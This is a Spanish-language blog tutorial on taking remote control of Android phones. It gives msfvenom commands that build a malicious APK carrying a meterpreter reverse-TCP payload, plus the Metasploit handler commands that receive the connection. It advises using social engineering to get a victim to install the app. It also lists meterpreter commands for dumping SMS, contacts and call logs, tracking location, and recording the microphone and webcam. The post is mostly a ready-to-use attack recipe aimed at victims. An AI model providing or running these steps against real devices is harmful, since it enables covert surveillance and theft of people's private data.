En este post vamos a lanzar un ataque sobre dispositivos android. El objetivo es conseguir una shell remota con la que hacernos con el control. Una vez conseguido, podremos listar, copiar, modificar el contenido del teléfono, comprobar las llamadas, ver por las cámaras, grabar sonido…
Para conseguirlo necesitamos:
Kali
Metasploit
Msfvenom
Ingeniería social
Dispositivo android como víctima
Lo primero que vamos a hacer es crear la apk maliciosa con el payload embebido. En este caso vamos a usar como payload android/meterpreter/reverse_tcp.
Abrimos una shell en Kali y ejecutamos el siguiente comando:
msfvenom -p android/meterpreter/reverse_tcp lhost=[IP de la máquina kali] lport=[puerto (por defecto es 4444)] r > [nombre de la app.apk]
msfvenom -p android/meterpreter/reverse_tcp lhost=10.100.100.30 lport=4444 r > bad.apk
Ya tenemos creada la APK. Por defecto se genera en el directorio en el cual estamos situados cuando lanzamos el comando.
[KGVID]http://melin360.com/wp-content/uploads/2016/09/msfvenom2.webm[/KGVID]
A continuación tenemos que seleccionar el exploit y ponerlo a escuchar en el puerto que definimos en el comando anterior (4444).
Abrimos metasploit ejecutando en una shell el comando msfconsole. Ejecutamos los siguientes comandos:
Sintáxis:
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT msf exploit(handler) > exploit
Comando:
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.10.10.30
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
[KGVID]http://melin360.com/wp-content/uploads/2016/09/exploitandroid.webm[/KGVID]
Ahora nos queda la parte difícil, hacer llegar a la víctima la apk y que la ejecute haciendo uso de ingeniería social. En este caso la ejecutaré en mi dispositivo Android y veremos el comportamiento del exploit en la consola.
Una vez el usuario abre la aplicación una vez instalada nos abrirá una conexión a una consola de meterpreter con la que tendremos acceso completo al dispositivo móvil. Cuando la víctima va a instalar la aplicación, le pide que valide permisos tal y como haría una aplicación legítima. Nuestra aplicación se instala bajo el nombre de MainActivity tal y como vemos en la siguiente imagen.
Si escribimos el comando help nos mostrará la ayuda de comandos que podemos ejecutar.
meterpreter > help
Core Commands
=============Command Description
——- ———–
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for ‘load’
uuid Get the UUID for the current session
write Writes data to a channelStdapi: File system Commands
============================Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directoryStdapi: Networking Commands
===========================Command Description
——- ———–
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing tableStdapi: System Commands
=======================Command Description
——- ———–
execute Execute a command
getuid Get the user that the server is running as
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OSStdapi: Webcam Commands
=======================Command Description
——- ———–
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcamAndroid Commands
================Command Description
——- ———–
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
wlan_geolocate Get current lat-long using WLAN information
Ya solo queda ejecutar los comandos que queramos y listo. En futuros post publicaré como hacer pivoting y mantener la sesión.